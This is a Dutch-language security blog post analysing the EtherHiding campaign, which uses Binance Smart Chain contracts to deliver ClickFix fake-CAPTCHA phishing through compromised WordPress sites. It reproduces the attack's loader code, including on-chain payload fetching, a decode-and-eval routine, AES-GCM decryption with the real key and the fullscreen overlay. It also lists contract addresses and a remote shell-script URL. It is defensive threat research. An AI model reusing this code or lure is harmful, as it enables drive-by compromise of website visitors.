Skip to main content
Blog
Attacks Blog

De Blockchain Is Niet Je Vriend: EtherHiding en het gebruik van Blockchain voor aanvallen onder de loep

In maart/april 2025 circuleerde een ClickFix-variant die de Binance-blockchain met smart contracts gebruikte om malware-payloads te beheren die via een gehackte WordPress-plugin werden afgeleverd.

Sep 02, 2025 8 min read
Banner over EtherHiding en Blockchain voor aanvallen

Minder dan twee weken geleden kwam een van de vele slapende smart contracts op de Binance Smart Chain plotseling weer tot leven. Contractvariabelen werden bijgewerkt, payloads werden opnieuw geactiveerd, en de aanval is nu mogelijk actief op meer dan 19.800 gecompromitteerde websites.

De aanval staat bekend als EtherHiding en richt zich voornamelijk op het inzetten van blockchain smart contracts om dynamische ClickFix-achtige captcha-payloads aan slachtoffers te leveren. We schreven eerder over ClickFix-aanvallen gericht op macOS in februari, maar zoals bij alle aanvallen het geval is, heeft de aflevermethode sindsdien veranderd. Deze groeiende categorie client-side bedreigingen is steeds moeilijker te detecteren, laat staan te mitigeren.

Wij zijn cside, en wij monitoren client-side aanvallen via JavaScript van derden. In Q1 van 2025 alleen al observeerden we meer dan 300.000 gecompromitteerde websites.

Waarom Binance Smart Chain?

Binance Smart Chain (BSC) is een snel groeiend blockchainplatform dat is ontworpen om op smart contracts gebaseerde applicaties te draaien voor gebruikers die de wereld van cryptocurrency willen verkennen. Anders dan traditionele chains (zoals Ethereum) legt BSC de nadruk op lage transactiekosten met een hoge transactiesnelheid — wat het aantrekkelijk maakt niet alleen voor ontwikkelaars van gedecentraliseerde financiën, maar ook voor kwaadwillenden.

Met behulp van deze smart contracts kan een aanvaller kwaadaardige payloads on-chain opslaan, wat een aantal voordelen biedt ten opzichte van traditionele cloudinfrastructuur:

  • Onveranderlijke hosting (want eenmaal op de blockchain bestaat het voor altijd)
  • Gedecentraliseerde opslag zonder mogelijkheid tot verwijdering
  • Real-time updates via contractfuncties

In deze EtherHiding-campagne worden getter- en setter-functies binnen deze contracts gebruikt om JavaScript-payloads te leveren die zich aanpassen aan de omgeving van het slachtoffer. Ze worden in de browser ontsleuteld en gedecomprimeerd, en vervolgens uitgevoerd.

De aanvalsketen analyseren

De aanval begint met geïnjecteerde kwetsbare code in de <head>-tag van een website, voornamelijk op WordPress-installaties. Onze analyse wijst op kwetsbare plugins als de meest waarschijnlijke toegangsvector. Zodra de kwaadaardige code in de site is ingevoegd, start een meerfasige aanval die zijn volgende stappen rechtstreeks van de blockchain haalt.

Stap 1: Initiële compromittering & opzet

Het eerste contactpunt van dit kwaadaardige script is geen door de aanvaller beheerde server, maar een Web3-verbinding met de Binance Smart Chain. Het script maakt contact met het smart contract op adres 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53 en start de aanval door verdere instructies op te vragen bij dit contract.

De teruggegeven contract-ABI (Application Binary Interface — een lijst met instructies in het contract) en de bijbehorende informatie zijn beide Base64-gecodeerd en gzip-gecomprimeerd. Het script moet ze decomprimeren met de bibliotheek pako (een JavaScript-port van de zlib-compressiebibliotheek) voordat ze kunnen worden geparseerd en gebruikt.


const web3 = new Web3("https://bsc-dataseed.binance[.]org/");
const contract = new web3.eth.Contract([...], "0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53");

  

const orchidABI = await contract.methods.orchidABI().call();
const orchidAddress = await contract.methods.orchidAddress().call();
const orchid = new web3.eth.Contract(JSON.parse(orchidABI), orchidAddress);

  

Na het tot stand brengen van contact roept het script een blockchainfunction aan om het volgende smart contract-adres terug te geven, gelegen op 0x8FBA1667BEF5EdA433928b220886A830488549BD.

Stap 2: Multi-payload loader via tokyoSkytree

Het contract **0x8FBA1667BEF5EdA433928b220886A830488549BD**, intern het Orchid-contract genoemd, is het belangrijkste contract in de aanvalsketen.

Dit contract bevat vijf essentiële functies die bepalen wat er vervolgens in de aanval gebeurt:

  • tokyoSkytree
  • akihabaraLights
  • asakusaTemple
  • ginzaLuxury
  • shibuyaCrossing

De kern van de aanval wordt gestart door de functie **tokyoSkytree**, die fungeert als een op afstand bestuurbare loader en orkestrator voor de volledige payload. Het voert de andere vier smart contract-functies één voor één uit, waarbij elke functie een gecomprimeerde en Base64-gecodeerde JavaScript-blob teruggeeft om de responses verder te verhullen.


(async () => {
  if (!checkCookie('not-robot')) {
    await teaCeremony(await orchid.methods.shibuyaCrossing().call(), 2);
    await teaCeremony(await orchid.methods.akihabaraLights().call(), 3);
    await teaCeremony(await orchid.methods.ginzaLuxury().call(), 4);
    await teaCeremony(await orchid.methods.asakusaTemple().call(), 5);
    setCookie('not-robot', 30);
  }
})();

  

Elk van deze smart contract-functies geeft een payload terug die wordt gedecodeerd en dynamisch uitgevoerd via de functie **teaCeremony**:


const teaCeremony = async (encodedScroll, templeNumber) => {
  const cherryBlossoms = atob(encodedScroll);
  const calligraphy = Uint8Array.from(cherryBlossoms, c => c.charCodeAt(0));
  const haiku = pako.ungzip(calligraphy, { to: "string" }).trim();
  await eval(`(async () => { ${haiku} })()`);
};

  

Deze (vereenvoudigde) pipeline decodeert de Base64-string, decomprimeert deze met gzip en voert het resultaat uit via de eval-functie. Dit ontwerp maakt de aanvalscampagne zowel modulair als wendbaar, omdat de on-chain opgeslagen payloads razendsnel kunnen worden vervangen.

Stap 3: Het slachtoffer profileren

shibuyaCrossing — Bepaal het besturingssysteem


const summonSpiritOfPlatform = () => {
  const { userAgent, platform } = navigator;
  if (/Win/i.test(platform)) return "Windows";
  if (/Mac/i.test(platform)) return "MacOS";
  if (/Linux/i.test(platform)) return /Android/.test(userAgent) ? "Android" : "Linux";
  return "Unknown";
};

  

akihabaraLights — Bepaal de browser


const summonSpiritOfBrowser = () => {
  const { userAgent } = navigator;
  if (/Chrome/i.test(userAgent)) return "Chrome";
  if (/Firefox/i.test(userAgent)) return "Firefox";
  if (/Safari/i.test(userAgent) && !/Chrome/i.test(userAgent)) return "Safari";
  return "Unknown";
};

  

De twee functies shibuyaCrossing en akihabaraLights worden gebruikt om de omgeving van het slachtoffer te profileren via informatie over het besturingssysteem en de browser. Deze informatie wordt later gebruikt om een specifieke versie van de aanval te serveren op basis van de gebruikte browser of het gebruikte besturingssysteem.

Stap 4: Ontsleuteling en payload-injectie

Na het profileren van de gebruikersomgeving maakt **ginzaLuxury** contact met een derde en laatste smart contract (gelegen op 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA, het Jade-contract genaamd) dat opnieuw meer functies laadt.

Opvallend: **getRandomSkylineByBrowserAndPlatform**.

Deze functie geeft, na het doorgeven van de eerder bepaalde browser- en besturingssysteemvariabelen, een URL terug om de versleutelde HTML op te halen die moet worden weergegeven. Na het downloaden van deze payload en het ontsleutelen ervan met de functie **pearlTower**, die een AES-GCM-ontsleutelingssleutel bevat, wordt de aanval uiteindelijk geïnjecteerd in een fullscreen <iframe>-tag die het scherm van het slachtoffer overdekt.


const cherryBlossomHTML = await (await fetch(skylineUrl)).text();
const sakuraKey = await JadeContract.methods.pearlTower().call();
const decryptedHTML = await decryptScrollToText(cherryBlossomHTML, sakuraKey);

const iframe = document.createElement("iframe");
iframe.srcdoc = decryptedHTML;
iframe.style = "position: fixed; width: 100%; height: 100%; z-index: 2147483647;";
document.body.appendChild(iframe);

  

Op basis van ons onderzoek is de enige momenteel actieve URL **https://yie-cpj[.]pages[.]dev/mac**, met een actieve payload voor Firefox-, Google Chrome- en Safari-gebruikers op macOS.

Stap 5: De versleutelde HTML analyseren

Om de laatste fase van deze aanval te valideren, hebben we de versleutelde HTML gedecodeerd en geanalyseerd die wordt gehost op **https://yie-cpj[.]pages[.]dev/mac**. Met behulp van een script dat tijdens het onderzoek is ontwikkeld, konden we de blockchain-transacties verzamelen, elke naar het contract gestuurde payload decoderen en de laatste geldige ontsleutelingssleutel bepalen.

De sleutel **5AcwjGp22pUrT92hKNrO7f7bsbZJPz2PpWYwnP0Muhs=** kan worden gebruikt om de HTML-payload te ontsleutelen met de ontsleutelingsfunctie **decryptScrollToText**:


async function decryptScrollToText(encryptedBase64, keyBase64) {
   const key = Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0));
   console.log(key);
   const combinedData = Uint8Array.from(atob(encryptedBase64), c => c.charCodeAt(0));
   const iv = combinedData.slice(0, 12);
   const encryptedData = combinedData.slice(12);
   const cryptoKey = await crypto.subtle.importKey(
       "raw", key, "AES-GCM", false, ["decrypt"]
   );
   const decryptedArrayBuffer = await crypto.subtle.decrypt(
       { name: "AES-GCM", iv },
       cryptoKey,
       encryptedData
   );
   return new TextDecoder().decode(decryptedArrayBuffer);
}

  

De resulterende HTML is een ClickFix-achtige phishing-payload die is ontworpen om eruit te zien als een reCAPTCHA-verificatiepagina. In plaats van de gebruiker te valideren via afbeeldingen, instrueert het een slachtoffer om:

  1. De macOS-terminal te openen
  2. Een Base64-gecodeerde opdracht te plakken en uit te voeren die dynamisch wordt opgehaald via de **jadeCode()**-functie on-chain

De terminalopdracht die aan gebruikers wordt getoond, gebruikt Base64 om de payload-URL te verhullen: https://kimbeech[.]cfd/cap/verify.sh.

Hoewel de URL ten tijde van de analyse inactief was en het **verify[.]sh**-script niet kon worden opgehaald voor verder onderzoek, laten de structuur en de aflevermethode geen twijfel bestaan over de werkelijke bedoeling van de aanvaller.

Door een slachtoffer te instrueren een via het klembord geïnjecteerde opdracht in de terminal uit te voeren, probeert de aanvaller een extern Bash-script uit te voeren onder het mom van een vertrouwd CAPTCHA-verificatieproces. Dit is een kenmerkend element van de ClickFix social engineering-techniek en vormt een ernstig risico op volledige compromittering van het apparaat.

Waarom client-side beveiliging belangrijker is dan ooit

Aanvallen zoals EtherHiding laten zien hoe ver client-side bedreigingen zijn geëvolueerd in het huidige dreigingslandschap. Deze aanvallen zijn modulair, verhuld en kunnen, zoals bij EtherHiding, volledig worden afgeleverd via gedecentraliseerde infrastructuur die niet kan worden uitgeschakeld.

Omdat de payload in de browser leeft en reageert op basis van de omgeving van de gebruiker, kunnen deze aanvallen onder de radar blijven van traditionele server-side beveiligingen. Ze hoeven de server zelf niet eens te compromitteren. Het enige wat ze nodig hebben, is dat het slachtoffer de pagina laadt.

Voorop blijven lopen bij deze bedreigingen betekent niet alleen je eigen code monitoren, maar ook wat je browser uitvoert. Dat omvat zaken als scripts van derden, geïnjecteerde assets en het nauwlettend in de gaten houden van gedrag dat in real time kan muteren. Naarmate client-side aanvalsoppervlakken steeds complexer worden, moet ook onze aanpak om ons daartegen te verdedigen meegroeien.

Woordenlijst

Naam

Contractadres

Doel

Loader

0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53

Initieel contract dat de orchid-ABI en het adres levert

Orchid

0x8FBA1667BEF5EdA433928b220886A830488549BD

Hoofduitvoeringslogica die Base64 + gzip JavaScript levert

Jade

0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA

Slaat versleutelde payload-URL's en AES-GCM-sleutels op

URL

Gedrag

https://yie-cpj[.]pages[.]dev/mac

Fullscreen CAPTCHA-phishing overlay (gericht op macOS)

https://hfdjmoedkjf[.]asia/

Telemetrie-eindpunt voor het loggen van user-agent-strings

https://kimbeech[.]cfd/

URL van extern shellscript (momenteel inactief)

https://orange-service[.]xyz

Telemetrie-eindpunt op de aanvalspagina, ook gebruikt voor het rapporteren van user-agent-strings

Contract

Functie

Rol in de aanval

Orchid

tokyoSkytree()

Toegangspunt dat andere contractfuncties laadt en uitvoert

Orchid

shibuyaCrossing()

Geeft script voor detectie van het besturingssysteem terug

Orchid

akihabaraLights()

Geeft script voor browserdetectie terug

Orchid

ginzaLuxury()

Laadt het Jade-contract en activeert ook de ontsleuteling en weergave

Orchid

asakusaTemple()

Stuurt telemetriegegevens terug naar de aanvaller

Jade 

getRandomSkylineByBrowserAndPlatform()

Geeft AES-GCM-ontsleutelingssleutel terug voor HTML-popup-payloads

Jade

pearlTower()

Geeft alle payload-koppelingen met URL's bloot

Jade

getAllSkylines()

Stelt de aanvaller in staat de ontsleutelingssleutel te wijzigen (bijv. encryptie rouleren)

Jade

setPearlTower()


Stelt de aanvaller in staat payload-URL's te wisselen voor meerdere platforms

Jack LaFond
Security Researcher Jack LaFond

I'm a security engineer + security researcher at cside.

Monitor en Beveilig Je Third-Party Scripts

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Start gratis, of probeer Business met een proefperiode van 14 dagen.

cside dashboard interface met script monitoring en beveiligingsanalytics
Related Articles
Boek een demo